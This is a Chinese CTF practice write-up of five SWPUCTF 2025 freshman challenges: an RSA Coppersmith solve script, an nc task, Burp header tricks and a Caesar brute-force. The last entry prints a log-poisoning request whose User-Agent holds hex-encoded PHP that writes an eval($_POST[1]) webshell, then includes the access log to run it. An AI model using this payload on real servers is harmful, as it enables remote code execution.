题目来源:NSSCTF

练习时间:2026年2月2日

练习数量:5

上篇:CTF-SWPUCTF2025秋季新生赛2
下篇:CTF-SWPUCTF2025秋季新生赛4

📖 SWPUCTF 2025 秋季新生赛合集
1️⃣CTF-SWPUCTF2025秋季新生赛1
2️⃣CTF-SWPUCTF2025秋季新生赛2
3️⃣CTF-SWPUCTF2025秋季新生赛3
4️⃣CTF-SWPUCTF2025秋季新生赛4
5️⃣CTF-SWPUCTF2025秋季新生赛5

⭐️ 08 [SWPUCTF 2025 秋季新生赛]babyleak

🚩flag:NSSCTF{1t_1S_R3al1y_Simpl3}

💡hint:CRYPTO RSA

🔧tool:sagemath

典型的 RSA 因子泄露(泄露了 p 的高位) 题。
解题脚本:

# -*- coding: utf-8 -*-
from Crypto.Util.number import long_to_bytes, inverse, GCD
import sympy as sp

from fpylll import IntegerMatrix, LLL

# ===================== given =====================
c = 83677258507096298448838473157410968562663844066692785784795808568831104839808973945430904217176612281847780586315531356996541690190721036805002490234088269244928701049252093198328154082985532165306398300581341772147191549267469846165106567529323633427454813950145233569952080565179636978713867195303589950560
N = 99731820183974258509491930788425315687997383070140288617931730219025238256184394629749310800530369706494739983435809537993544901646755147227424129804516752136774736421075294396109951803322879567801060761407401694794176564353979061285525272805898515319706858347858066368622209147353721655141025433249553782243
phigh = 206878744347352036226523952451410430637894370598850007775437213854137659947239582113486
e = 65537

# ===================== coppersmith (univariate) =====================
def coppersmith_univariate_linear(p0: int, N: int, X: int, m: int = 4, t: int = 4):
"""
Solve f(x)=p0+x has a small root x0 < X modulo an unknown factor of N (p ~ N^0.5).
Classic Howgrave-Graham style lattice.
For this challenge it works well with m=4,t=4 (you can tweak).
"""
x = sp.Symbol("x")
f = sp.Poly(p0 + x, x)
d = f.degree()
assert d == 1

# Build polynomials:
# g_i(x) = f(x)^i * N^(m-i) for i=0..m-1
# h_j(x) = x^j * f(x)^m for j=0..t-1
polys = []
for i in range(m):
polys.append((f**i) * (N**(m - i)))
fm = f**m
for j in range(t):
polys.append(fm * sp.Poly(x**j, x))

# max degree = m + t - 1 (since d=1)
max_deg = m + t - 1
dim = m + t

# Lattice basis matrix (dim x (max_deg+1))
# Each coefficient of x^k is scaled by X^k
M = IntegerMatrix(dim, max_deg + 1)
for row, poly in enumerate(polys):
poly = sp.Poly(poly, x)
for (k,), coeff in poly.terms():
if k <= max_deg:
M[row, k] = int(coeff) * (X**k)

# LLL reduce
M_red = LLL.reduction(M)

# Take the first reduced vector -> build integer polynomial H(x)
v0 = [int(M_red[0, j]) for j in range(max_deg + 1)]
H_coeff = [v0[k] // (X**k) for k in range(max_deg + 1)]
H = sp.Poly(sum(sp.Integer(H_coeff[k]) * x**k for k in range(max_deg + 1)), x)

# Find integer roots of H (degree small, factor is fine)
roots = []
cont, facs = H.factor_list()
for fac, exp in facs:
if fac.degree() == 1:
a, b = fac.all_coeffs() # a*x + b
a, b = int(a), int(b)
if a != 0 and (-b) % a == 0:
r = (-b) // a
if 0 <= r < X:
roots.append(r)

# If not found via linear factors, fallback: brute check any integer roots returned by sympy
# (Usually not needed for this kind of linear-leak RSA)
roots = sorted(set(roots))
return roots, H

def main():
k = 225
X = 1 << k
p0 = phigh << k

roots, H = coppersmith_univariate_linear(p0, N, X, m=4, t=4)
if not roots:
# try a couple of parameter tweaks if needed
for (m, t) in [(5, 5), (6, 6), (6, 4), (4, 6)]:
roots, H = coppersmith_univariate_linear(p0, N, X, m=m, t=t)
if roots:
break

if not roots:
print("[!] No roots found. Try adjusting m/t or ensure fpylll installed correctly.")
return

for x0 in roots:
p = GCD(p0 + x0, N)
if 1 < p < N and N % p == 0:
q = N // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))
return

print("[!] Roots found but failed to recover factor. Something is off.")

if __name__ == "__main__":
main()

运行就可以得到flag


⭐️ 09 [SWPUCTF 2025 秋季新生赛]hello_pwn

🚩flag:NSSCTF{90e2cc85-a6b1-44af-92fa-3435ae8f487d}

💡hint:PWN

🔧tool:nc

题目描述:
也许,几乎每一个pwn手解出的第一道题就是nc连接,这就像大家学习编程里的第一个代码Holle World! ,今天,让我们延续这一传统,希望这会是你打pwn之旅的开端。(er bu shi zhong dian)

nc node6.anna.nssctf.cn 22340

然后基本操作:
ls
cat flag

⭐️ 10 [SWPUCTF 2025 秋季新生赛]SIGN IN!

🚩flag:NSSCTF{183864d5-166a-4d57-88f9-417ae9bb8d7b}

💡hint:WEB

🔧tool:burpsuite

看起来很好玩的一道web题目:
机器人http头web

进入burpsuite抓包并修改:

GET /?check=1 HTTP/1.1
Host: node1.anna.nssctf.cn:25647
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: CTF-Robot/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://ctf.example.com
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=de85f9f7ff4da20679a6bfc59e2a9614;session=valid_user
Connection: keep-alive

注意cookie这里要带上原来的,不然会回到第一关。
第二关通过后,重复提交,才能通过第三关。
得到最终flag


⭐️ 11 [SWPUCTF 2025 秋季新生赛]easyCaesar

🚩flag:NSSCTF{Y0u_pASs_tHis_LeVel}

💡hint:古典密码 凯撒密码

🔧tool:python

题目:

import random
import string

def shift_char(ch: str, shift: int) -> str:
if ch.islower():
return chr((ord(ch) - ord('a') + shift) % 26 + ord('a'))
elif ch.isupper():
return chr((ord(ch) - ord('A') + shift) % 26 + ord('A'))
else:
return ch

def encode_flag(flag: str) -> str:
parts = flag.split('_')
encoded_parts = []

for part in parts:
shift = random.randint(1, 9)
encoded = ''.join(shift_char(ch, shift) for ch in part)
encoded_parts.append(encoded)

return '_'.join(encoded_parts)

if __name__ == "__main__":
random.seed()
flag = '**********'
encoded_flag = encode_flag(flag)
print(encoded_flag)

# encode_flag = 'QVVFWI{B0x_vGYy_aOpz_NgXgn}'

关键信息:
1️⃣ 按 _ 分段
parts = flag.split(‘_’)
说明:
每个 _ 两边是独立加密的
_ 本身 不加密
2️⃣ 每一段用一个 Caesar(凯撒)移位
shift = random.randint(1, 9)
encoded = ‘’.join(shift_char(ch, shift) for ch in part)
每一段:
随机选一个 shift ∈ [1, 9]
对字母做循环移位
数字、{} 不变
👉 这是一个 Caesar cipher,而且 shift 范围极小

因此暴力破解很轻松
解题脚本:

import string
from itertools import product

cipher = "QVVFWI{B0x_vGYy_aOpz_NgXgn}"

def unshift_char(ch: str, shift: int) -> str:
if 'a' <= ch <= 'z':
return chr((ord(ch) - ord('a') - shift) % 26 + ord('a'))
if 'A' <= ch <= 'Z':
return chr((ord(ch) - ord('A') - shift) % 26 + ord('A'))
return ch

def decode_part(part: str, shift: int) -> str:
return ''.join(unshift_char(ch, shift) for ch in part)

# 简单打分:更像 flag/英文的得分更高
COMMON = {
"NSSCTF", "CTF", "flag", "this", "that", "cipher", "crypto", "box", "hello"
}
def score_text(s: str) -> int:
sc = 0
# 字符集正常(字母/数字/{}_-)加分
ok = set(string.ascii_letters + string.digits + "{}_-")
sc += sum(1 for ch in s if ch in ok)
# 出现常见关键词加分(忽略大小写)
low = s.lower()
for w in COMMON:
if w.lower() in low:
sc += 20
# flag 前缀强约束
if s.startswith("NSSCTF{"):
sc += 200
if s.endswith("}"):
sc += 30
# 下划线段落结构合理加分
sc += s.count("_") * 5
return sc

def main():
parts = cipher.split("_")
candidates = []

# 每段列出 1..9 的候选
per_part = []
for i, part in enumerate(parts):
opts = []
for sh in range(1, 10):
opts.append((sh, decode_part(part, sh)))
per_part.append(opts)

# 打印每段候选,方便人工看
print("=== Per-part candidates ===")
for i, opts in enumerate(per_part):
print(f"\n[Part {i}] cipher = {parts[i]}")
for sh, txt in opts:
print(f" shift={sh}: {txt}")

# 全组合搜索(段数一般很少,9^n 很小)
best = None
best_sc = -10**9
for choice in product(range(1, 10), repeat=len(parts)):
dec_parts = [decode_part(parts[i], choice[i]) for i in range(len(parts))]
plain = "_".join(dec_parts)
sc = score_text(plain)
if sc > best_sc:
best_sc = sc
best = (choice, plain, sc)

print("\n=== Best guess ===")
shifts, plain, sc = best
print("shifts =", shifts)
print("score =", sc)
print("plain =", plain)

if __name__ == "__main__":
main()

运行得到:
NSSCTF{Y0u_pASs_tHis_LeVel}


⭐️ 12 [SWPUCTF 2025 秋季新生赛]登录框

💡hint:web 凯撒密码

🔧tool:burpsuite

POST /123123123 HTTP/1.1
Host: node1.anna.nssctf.cn:29521
Content-Type: application/x-www-form-urlencoded
Referer: http://node1.anna.nssctf.cn:29521/
Origin: http://node1.anna.nssctf.cn:29521
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: <?php system(hex2bin('6563686f20223c3f70687020406576616c285c245f504f53545b315d293b706870696e666f28293b3f3e22203e202f7661722f7777772f68746d6c2f77702d636f6e74656e742f636f6e6669672e7068703b'));?>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Length: 2

然后访问

GET /file.php?file_path=/var/log/nginx/access.log HTTP/1.1
Host: node1.anna.nssctf.cn:29521
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://node1.anna.nssctf.cn:29521/R34d.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

即可实现在./wp-content/config.php写上一个密码为1的一句话木马
(还没完全做出来)